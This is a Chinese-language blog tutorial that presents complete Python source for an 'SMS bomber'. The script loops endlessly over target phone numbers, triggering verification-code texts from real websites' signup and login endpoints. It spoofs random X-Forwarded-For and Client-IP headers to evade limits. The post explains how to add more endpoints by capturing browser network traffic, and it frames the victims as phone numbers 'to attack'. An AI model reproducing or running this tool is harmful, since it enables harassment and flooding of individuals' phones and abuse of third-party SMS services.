
开篇寄语
此前,伯衡君介绍过不少短信轰炸机,同时也介绍了它的相关制作原理,今天伯衡君就来给大家演示一下如何轻松用python这门编程语言来做制作一个短信轰炸机,模板都有哦,只需要稍微添加的网站和要袭击的手机号码就可以了,咱们开始吧。
前情提要
内容详情
1.制作原理
其实短信轰炸机的原理就是利用各个网络平台,有一个输入手机号,获取验证码这个功能,只需要写程序遍历各个网站就可以了。
2.简单源码
#!/usr/bin/python
# -*- coding: utf-8 -*-
import requests
import random
import socket
import struct
import time
def init_api(phone):
api_list = [
["http://reg.ztgame.com/common/sendmpcode?source=giant_site&nonce=&type=verifycode&token=&refurl=&cururl=http://reg.ztgame.com/&mpcode=&pwd=&tname=&idcard=",
60, "巨人网络", "GET", {'phone': phone}, "http://reg.ztgame.com/"],
["http://jrh.financeun.com/Login/sendMessageCode3.html", 60, "金融号", "GET", {"mobile": phone, "mbid": "197858","check":"3"},
"http://jrh.financeun.com/Login/jrwLogin?web=jrw"],
]
return api_list
# 短信初始化
class init_sms(object):
"""docstring for init_sms"""
def __init__(self):
super(init_sms, self).__init__()
self.sms_list = []
self.intervalInfo = 0
def init_bomb(self,api_list):
for x in api_list:
self.intervalInfo += 1
self.sms_list.append(sms_object(x[0], x[1], x[2], x[3], x[4], x[5], self.intervalInfo))
return self.sms_list
class sms_object(object):
"""docstring for sms_object""" # __var 私有成员变量
def __init__(self, url, interval, info, method, params, others, intervalInfo):
super(sms_object, self).__init__()
self.__url = url
self.__interval = interval
self.__info = info
self.__intervalInfo = intervalInfo
self.__method = method
self.__params = params
self.__others = others
def getUrl(self):
return self.__url
def getInfo(self):
return self.__info
def getParams(self):
return self.__params
def getMethod(self):
return self.__method
def getOthers(self):
return self.__others
def getInterval(self):
return self.__interval
def getintervalInfo(self):
return self.__intervalInfo
def setintervalInfo(self, intervalInfo):
self.__intervalInfo = intervalInfo
class Bomb(object):
"""docstring for Bomb"""
def __init__(self):
super(Bomb, self).__init__()
self.HEADERS = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.81 Safari/537.36',
'Referer': 'http://10.13.0.1',
'accept-encoding': 'gzip, deflate, br',
'accept-language': 'zh-CN,zh-TW;q=0.8,zh;q=0.6,en;q=0.4,ja;q=0.2',
'cache-control': 'max-age=0',
"X-Requested-With": "XMLHttpRequest"
}
def send(self, SMS):
# return "SUCCESS"
IP = socket.inet_ntoa(struct.pack('>I', random.randint(1, 0xffffffff)))
self.HEADERS['X-FORWARDED-FOR'] = IP
self.HEADERS['CLIENT-IP'] = IP
try:
session = requests.Session()
if SMS.getOthers() != "":
session.get(SMS.getOthers(), timeout=5, headers=self.HEADERS)
self.HEADERS['Referer'] = SMS.getOthers()
if SMS.getMethod() == "GET":
req = session.get(SMS.getUrl(), params=SMS.getParams(), timeout=5, headers=self.HEADERS)
else:
req = session.post(SMS.getUrl(), data=SMS.getParams(), timeout=5, headers=self.HEADERS)
# print(req.url)
except Exception as e:
return str(e)
return "已发送"
if __name__ == '__main__':
# 手机号列表,如 ["12345678987","98765432123"]
phoneList=[]
bombNum=1
while True: # 死循环
currTime=0
print("\n第",bombNum,"次轰炸!!!","\n")
bombNum+=1
for phone in phoneList: #遍历每个手机号
api_list=init_api(phone) # API接口初始化
print("\n电话:", phone)
sms_list = init_sms().init_bomb(api_list=api_list)
switchOn = Bomb()
i = 0
currTime = 0
while True:
currTime += 1
# print(currTime)
for x in sms_list:
if x.getintervalInfo() == 0:
i += 1
info = switchOn.send(x)
print(str(i) + "." + x.getInfo() + " " + info)
x.setintervalInfo(x.getInterval())
else:
x.setintervalInfo(x.getintervalInfo() - 1)
time.sleep(5) #设置两次轰炸的间隔时间,单位是秒
if i==len(api_list):
break
3.如何使用
只需要在模板下方的手机号列表,按例子填写手机号就可以了,比如用pycharm运行这套源码,在这里填写出手机号码,如下图所示:

点击运行后,就开始陆续发送验证码了,如下图所示:

4.如何自定义增加发送网站
目前该脚本只有两个发送短信的网站,大家可以自行寻找一番,那么如何寻找添加呢,伯衡君就以金融圈为例好了。
["http://jrh.financeun.com/Login/sendMessageCode3.html", 60, "金融号", "GET", {"mobile": phone, "mbid": "197858","check":"3"},
"http://jrh.financeun.com/Login/jrwLogin?web=jrw"]
首先是打开金融圈这个网站,推荐用firefox浏览器,比较容易抓包。

调出调试窗口,一般是按下f12出来,之后找到短信快捷登录,右侧找到Network。
然后,任意在输入框输入一个手机号,点击获取验证码,注意观察右侧出现的文件,如下图所示:

随后,把这个链接咱们复制下来放在下面观察:
https://jrh.financeun.com/Login/sendMessageCode3.html?mobile=15303257898&mbid=197858&check=3
和伯衡君模板对比一下:
"http://jrh.financeun.com/Login/sendMessageCode3.html", 60, "金融号", "GET", {"mobile": phone, "mbid": "197858","check":"3"}
是不是豁然开朗?
其他类似网站就由自己来寻找吧。
温馨提示
因为很多网站有了那种文字验证码或者滑动验证码,一般是无法成功的,原因就是在提交地址的时候多了一个验证码内容,所以要避免这个问题,则需要另外高深的知识了,本篇就不再多做赘述了。
- 我的微信
- 微信扫一扫加好友
-
- 我的微信公众号
- 扫描关注公众号
-





